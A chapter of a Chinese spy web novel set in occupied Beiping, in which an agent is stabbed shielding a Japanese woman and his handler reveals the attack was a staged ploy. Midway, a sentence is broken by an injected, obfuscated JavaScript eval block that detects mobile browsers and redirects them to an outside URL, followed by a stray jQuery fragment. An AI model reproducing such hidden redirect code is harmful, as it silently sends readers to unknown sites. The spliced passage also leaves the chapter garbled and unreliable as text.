第一百六十五章 苦肉

作品:《一个人的长征

    那柄**捅进后背的感觉,很奇怪。


    没有想象中那么疼。


    倒像是被人用一根烧红粗大的铁钎子,从背后恶狠狠地捅了进来。


    先是一阵撕心裂肺的灼烧感,紧接着才是剧痛。


    陈墨闷哼一声,整个人连同被他身下的松平梅子,一起重重地摔在了那张铺着厚厚波斯地毯的冰冷的地板上。


    温热的粘稠的液体,迅速地从他的伤口处,涌了出来浸透了那件笔挺的昂贵的西装。


    也染红了松平梅子那张因为惊恐和错愕,而变得惨白如纸的美丽的脸。


    “砰!砰砰!”


    直到这时包厢外那两个,反应慢了半拍的日本保镖,才终于如梦初醒般地撞开了门,对着那个一击得手正准备抽身而退的黑衣刺客,疯狂地射击。


    那个刺客的身手显然也是顶尖的,他并没有丝毫恋战,身体像一只灵巧的黑猫,在密集的弹雨中,一个翻滚再次从那个被划开了的窗口翻了出去,消失在了戏院外那漆黑的夜色之中。


    整个新新戏院,彻底炸了锅。


    女人的尖叫声,男人的怒吼声,桌椅被推倒的“哐当”声和宪兵队那由远及近的刺耳的警笛声,交织成了一片混乱的交响。


    而陈墨只感觉他的耳朵里,嗡嗡作响。


    眼前的世界也开始旋转模糊。


    “……你……你怎么样?”


    松平梅子的声音在他的耳边响起,带着剧烈的颤抖和一丝无法掩饰的恐慌。


    陈墨想扯出一个,像往常一样玩世不恭的笑容。


    想对她说一句类似于“牡丹花下死,做鬼也风流”的俏皮话。


    但他张了张嘴,却只是吐出了一口带着血沫的苦涩的唾沫。


    陈墨觉得以那刺客的力度和伤口来看,并不甚至致命,可现在自己为什么觉得浑身无力,就像被麻醉一样


    “……死……死不了……”他用尽了最后一点力气,从牙缝里挤出了这几个字。


    然后,他的脑袋一歪。


    便彻底地失去了所有的意识,陷入了那片熟悉的黑暗之中。


    同一时间,距离新新戏院,不到一公里的另一条僻静的胡同里。


    那个刚刚才完成了一场惊天刺杀的黑衣刺客,正像一只壁虎一样紧贴着墙壁的阴影飞快地穿行着。


    他很快就甩掉了身后那些如同没头苍蝇般的日本宪兵和伪警察。


    然后闪身进了一间毫不起眼的挂着“张记棺材铺”招牌的小店。


    店里很黑,充满了一股新木头和生漆混合的怪异的味道。


    一个同样是穿着一身黑衣的身材干瘦的,如同猴子般的男人,正坐在一口尚未完工的棺材上,悠闲地嗑着瓜子。


    “怎么样?得手了?”


    猴子看到他进来,将手中的瓜子壳,随口一吐,问道。


    “失手了。”


    黑衣刺客摘下了脸上的面罩,露出了一张同样是平平无奇的,扔进人堆里就找不出来的大众脸。


    他的声音很平静,听不出任何任务失败的沮丧。


    “半路杀出个程咬金。”


    “一个不怕死的小白脸,替那个日本娘们挡了一刀。”


    “哦?”猴子的眼中闪过了一丝意外“小白脸?什么来路?”


    “不知道。”


    黑衣刺客摇了摇头。


    “看着像个新来的雏儿。不过身手倒是不错。反应比门口那两个日本人的老供奉还快。”他顿了顿又补充了一句。“那一刀,我听你的吩咐。没有下死手,但也捅得挺深的。可能要在床上躺一段时间”


    “那就好。”猴子点了点头似乎对这个结果并不意外,甚至还有些满意。


    他从怀里掏出了一个厚厚的信封,扔了过去。


    “这是你的报酬。”


    “上面老板说了,这次的事干得很漂亮。这也足够让整个北平的日本人,都变成惊弓之鸟了。”


    “告诉弟兄们,”他说道,“风头紧最近都给老子安分点。躲在家里好好地陪陪老婆孩子。”


    “等下一次,再有这么好的买卖。我再通知你们。”


    黑衣刺客接过信封,掂了掂,满意地笑了。


    他对着猴子拱了拱手。


    然后转身从棺材铺的后门,悄无声息地消失在了那片更深沉的夜色之中。


    他自始至终都没有问一句。


    那个突然杀出来替日本娘们挡刀的“小白脸”,到底是什么人。


    也没有问自己的老板,为什么在刺杀前,不仅让自己将刀泡在麻药几天几夜,还将麻药涂满刀口。


    他不需要知道,他只是一把刀。


    一把只负责拿钱,**的刀。


    刀是不需要有思想的……


    【观海堂书店,后院。】


    那间只点着一盏孤灯的厢房里。


    那个代号为风筝的气质儒雅的男人,也同样在听着手下的汇报。


    “都安排好了?”


    他依旧在下着那盘,永远也下不完的棋。


    “都安排好了。”山羊胡老头,恭敬地站在一旁回答道,“动手的人是军统那边,一个外围的行动小组。都是拿钱办事的亡命徒。跟咱们扯不上任何关系。”


    “那个伤得怎么样?”风筝落下一颗黑子淡淡地问道。


    “至少看上去伤得很重。”老头回答道,“报告来说失血很多。小野寺信那个老鬼子亲自带人,把他送去了协和医院抢救。”


    “嗯。”


    风筝点了点头,脸上没有任何多余的表情。


    仿佛一切都只是他棋盘上,一颗无关紧要的棋子。<b


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435555|183140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    r>“只是……”山羊胡老头犹豫了一下,还是忍不住问道,“先生我还是不明白。”


    “我们一直被监视,您为什么要冒这么大的险?去安排这么一出苦肉计?”


    “这个叫顾言的年轻人,虽然看起来是有点本事,从根据地过来的。但他的底细我们毕竟还不清楚。万一……”


    “没有万一。”


    风筝打断了他,抬起头,那双平静的眼睛里,闪过了一丝如同星辰般智慧的光芒。


    “你只看到了风险。”他说。“却没有看到这步险棋背后,那一本万利的收益。”


    风筝站起身走到一幅的地图前,指着地图上,那个代表着“北平”的黑色的圆点,缓缓地说道:


    “第一那个叫松平梅子的女人,不简单。她是我们打入日军华北方面军参谋本部,一个最好的突破口。但是她就像一只浑身长满了刺的刺猬。任何带有明显目的的接近都会让她,竖起所有的防备。”


    “而还有什么能比一场救了她命的英雄救美,更能让她彻底地放下所有的戒心,甚至是对一个男人产生最原始的依赖和亏欠呢?“


    “第二,”他的手指又指向了,那个代表着“军统”的蓝色标记。“军统那条同样是盯着松平梅子的疯狗,最近也盯上了我们这个新来的顾言先生。戴笠是个多疑的人。他不会轻易相信任何一个新来天才。”


    “与其被动地等着他们,来试探来找麻烦。不如我们主动地,送一份大礼给他们。”


    “而最重要的一点……”


    他最后指了指,那个代表着陈墨的小小的棋子,声音变得有些低沉,也有些复杂。


    “是他自己,果然是个聪明人,在没有告知计划的情况下,能把握住这个机会……”


    “这个人是把好刀,是把能开山断石的绝世好刀。”


    “但是他太锋利了,也太干净了。”


    “他的心里还存着太多的不该有的仁慈和底线。”


    “而在这北平城里想要活下去,做成事。光有锋利是不够的。”


    “他必须学会如何将自己隐藏在刀鞘里,如何在最肮脏的泥潭里打滚。”


    “必须亲身体会一下,那种在死亡边缘挣扎的滋味。”


    “也必须学会面不改色的屠刀伸向自己人!”


    “只有这样他这把刀才能被真正地磨砺出来。”


    “才能成为我们插在敌人心脏里,那把最致命的尖刀。”


    山羊胡老头听得目瞪口呆。


    他看着眼前这个将整个北平城,都当成了自己棋盘深不可测的男人,心中涌起了一股发自灵魂深处的寒意和敬畏。


    他终于明白了。


    什么才是真正的运筹帷幄。


    什么才是真正的**不见血。